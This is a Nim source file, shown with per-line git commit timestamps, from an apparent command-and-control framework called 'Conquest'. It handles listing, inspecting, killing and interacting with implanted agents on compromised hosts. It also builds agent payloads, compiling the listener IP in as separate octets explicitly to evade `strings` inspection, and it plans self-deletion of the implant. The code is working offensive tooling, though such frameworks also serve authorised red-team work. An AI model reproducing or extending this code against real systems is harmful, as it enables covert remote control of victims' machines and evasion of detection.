2025-07-24 15:31:46 +02:00
import terminal , strformat , strutils , tables , times , system , osproc , streams , base64
2025-05-12 21:53:37 +02:00
2025-07-15 23:26:54 +02:00
import .. / utils
2025-07-18 14:24:07 +02:00
import .. / task / dispatcher
2025-07-15 23:26:54 +02:00
import .. / db / database
2025-07-21 22:07:25 +02:00
import .. / .. / common / [ types , utils ]
2025-05-12 21:53:37 +02:00
2025-07-16 14:45:45 +02:00
# Utility functions
proc addMultiple * ( cq : Conquest , agents : seq [ Agent ] ) =
for a in agents :
2025-07-21 22:07:25 +02:00
cq . agents [ a . agentId ] = a
2025-07-16 14:45:45 +02:00
proc delAgent * ( cq : Conquest , agentName : string ) =
cq . agents . del ( agentName )
proc getAgentsAsSeq * ( cq : Conquest ) : seq [ Agent ] =
var agents : seq [ Agent ] = @ [ ]
for agent in cq . agents . values :
agents . add ( agent )
return agents
#[
Agent management
] #
2025-05-12 21:53:37 +02:00
proc agentUsage * ( cq : Conquest ) =
cq . writeLine ( """ Manage, build and interact with agents.
Usage :
agent [ options ] COMMAND
Commands :
list List all agents .
2025-05-15 14:27:45 +02:00
info Display details for a specific agent .
2025-05-14 15:48:01 +02:00
kill Terminate the connection of an active listener and remove it from the interface .
2025-05-12 21:53:37 +02:00
interact Interact with an active agent .
Options :
- h , - - help""" )
2025-05-14 15:48:01 +02:00
# List agents
2025-05-15 14:27:45 +02:00
proc agentList * ( cq : Conquest , listener : string ) =
2025-05-15 15:24:46 +02:00
# If no argument is passed via -n, list all agents, otherwise only display agents connected to a specific listener
if listener = = " " :
cq . drawTable ( cq . dbGetAllAgents ( ) )
2025-05-29 14:19:55 +02:00
2025-05-15 15:24:46 +02:00
else :
# Check if listener exists
if not cq . dbListenerExists ( listener . toUpperAscii ) :
cq . writeLine ( fgRed , styleBright , fmt" [-] Listener {listener.toUpperAscii} does not exist. " )
return
2025-05-15 14:27:45 +02:00
2025-05-15 15:24:46 +02:00
cq . drawTable ( cq . dbGetAllAgentsByListener ( listener . toUpperAscii ) )
2025-05-15 14:27:45 +02:00
2025-05-29 14:19:55 +02:00
2025-05-15 14:27:45 +02:00
# Display agent properties and details
proc agentInfo * ( cq : Conquest , name : string ) =
# Check if agent supplied via -n parameter exists in database
if not cq . dbAgentExists ( name . toUpperAscii ) :
cq . writeLine ( fgRed , styleBright , fmt" [-] Agent {name.toUpperAscii} does not exist. " )
return
let agent = cq . agents [ name . toUpperAscii ]
2025-05-15 15:24:46 +02:00
# TODO: Improve formatting
2025-05-15 14:27:45 +02:00
cq . writeLine ( fmt"""
2025-07-21 22:07:25 +02:00
Agent name ( UUID ) : { agent . agentId }
Connected to listener : { agent . listenerId }
2025-05-15 14:27:45 +02:00
──────────────────────────────────────────
Username : { agent . username }
Hostname : { agent . hostname }
Domain : { agent . domain }
IP - Address : { agent . ip }
Operating system : { agent . os }
──────────────────────────────────────────
Process name : { agent . process }
Process ID : { $ agent . pid }
Process elevated : { $ agent . elevated }
2025-05-23 13:55:00 +02:00
First checkin : { agent . firstCheckin . format ( " dd-MM-yyyy HH:mm:ss " ) }
Latest checkin : { agent . latestCheckin . format ( " dd-MM-yyyy HH:mm:ss " ) }
""" )
2025-05-15 14:27:45 +02:00
2025-05-14 15:48:01 +02:00
# Terminate agent and remove it from the database
proc agentKill * ( cq : Conquest , name : string ) =
# Check if agent supplied via -n parameter exists in database
if not cq . dbAgentExists ( name . toUpperAscii ) :
cq . writeLine ( fgRed , styleBright , fmt" [-] Agent {name.toUpperAscii} does not exist. " )
return
# TODO: Stop the process of the agent on the target system
# TODO: Add flag to self-delete executable after killing agent
# Remove the agent from the database
if not cq . dbDeleteAgentByName ( name . toUpperAscii ) :
cq . writeLine ( fgRed , styleBright , " [-] Failed to terminate agent: " , getCurrentExceptionMsg ( ) )
return
cq . delAgent ( name )
cq . writeLine ( fgYellow , styleBright , " [+] " , resetStyle , " Terminated agent " , fgYellow , styleBright , name . toUpperAscii , resetStyle , " . " )
2025-05-12 21:53:37 +02:00
# Switch to interact mode
2025-05-18 12:51:26 +02:00
proc agentInteract * ( cq : Conquest , name : string ) =
2025-05-12 21:53:37 +02:00
2025-05-18 12:51:26 +02:00
# Verify that agent exists
if not cq . dbAgentExists ( name . toUpperAscii ) :
cq . writeLine ( fgRed , styleBright , fmt" [-] Agent {name.toUpperAscii} does not exist. " )
return
let agent = cq . agents [ name . toUpperAscii ]
var command : string = " "
# Change prompt indicator to show agent interaction
2025-07-21 22:07:25 +02:00
cq . setIndicator ( fmt" [{agent.agentId}]> " )
2025-05-18 12:51:26 +02:00
cq . setStatusBar ( @ [ ( " [mode] " , " interact " ) , ( " [username] " , fmt" {agent.username} " ) , ( " [hostname] " , fmt" {agent.hostname} " ) , ( " [ip] " , fmt" {agent.ip} " ) , ( " [domain] " , fmt" {agent.domain} " ) ] )
2025-07-21 22:07:25 +02:00
cq . writeLine ( fgYellow , styleBright , " [+] " , resetStyle , fmt" Started interacting with agent " , fgYellow , styleBright , agent . agentId , resetStyle , " . Type ' help ' to list available commands. \n " )
2025-05-18 12:51:26 +02:00
cq . interactAgent = agent
2025-05-22 20:03:22 +02:00
while command . replace ( " " , " " ) ! = " back " :
2025-05-18 12:51:26 +02:00
command = cq . readLine ( )
cq . withOutput ( handleAgentCommand , command )
2025-05-12 21:53:37 +02:00
2025-05-18 12:51:26 +02:00
cq . interactAgent = nil
2025-05-12 21:53:37 +02:00
2025-05-24 16:15:41 +02:00
# Agent generation
proc agentBuild * ( cq : Conquest , listener , sleep , payload : string ) =
# Verify that listener exists
if not cq . dbListenerExists ( listener . toUpperAscii ) :
cq . writeLine ( fgRed , styleBright , fmt" [-] Listener {listener.toUpperAscii} does not exist. " )
return
let listener = cq . listeners [ listener . toUpperAscii ]
# Create/overwrite nim.cfg file to set agent configuration
2025-07-25 16:41:29 +02:00
let agentConfigFile = fmt" ../src/agent/nim.cfg "
2025-06-02 21:37:58 +02:00
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
let ( first , second , third , fourth ) = parseOctets ( listener . address )
2025-05-24 16:15:41 +02:00
2025-07-24 15:31:46 +02:00
# Covert the servers's public X25519 key to as base64 string
let publicKey = encode ( cq . keyPair . publicKey )
2025-05-24 16:15:41 +02:00
# The following shows the format of the agent configuration file that defines compile-time variables
let config = fmt"""
# Agent configuration
2025-07-22 21:31:18 +02:00
- d : ListenerUuid = " {listener.listenerId} "
2025-06-02 21:37:58 +02:00
- d : Octet1 = " {first} "
- d : Octet2 = " {second} "
- d : Octet3 = " {third} "
- d : Octet4 = " {fourth} "
2025-05-24 16:15:41 +02:00
- d : ListenerPort = { listener . port }
- d : SleepDelay = { sleep }
2025-07-24 15:31:46 +02:00
- d : ServerPublicKey = " {publicKey} "
2025-05-24 16:15:41 +02:00
""" .replace( " " , " " )
writeFile ( agentConfigFile , config )
cq . writeLine ( fgBlack , styleBright , " [*] " , resetStyle , " Configuration file created. " )
# Build agent by executing the ./build.sh script on the system.
2025-07-25 16:41:29 +02:00
let agentBuildScript = fmt" ../src/agent/build.sh "
2025-05-24 16:15:41 +02:00
cq . writeLine ( fgBlack , styleBright , " [*] " , resetStyle , " Building agent... " )
try :
# Using the startProcess function from the 'osproc' module, it is possible to retrieve the output as it is received, line-by-line instead of all at once
let process = startProcess ( agentBuildScript , options = { poUsePath , poStdErrToStdOut } )
let outputStream = process . outputStream
var line : string
while outputStream . readLine ( line ) :
cq . writeLine ( line )
let exitCode = process . waitForExit ( )
# Check if the build succeeded or not
if exitCode = = 0 :
cq . writeLine ( fgGreen , " [+] " , resetStyle , " Agent payload generated successfully. " )
else :
cq . writeLine ( fgRed , styleBright , " [-] " , resetStyle , " Build script exited with code " , $ exitCode )
except CatchableError as err :
cq . writeLine ( fgRed , styleBright , " [-] " , resetStyle , " An error occurred: " , err . msg )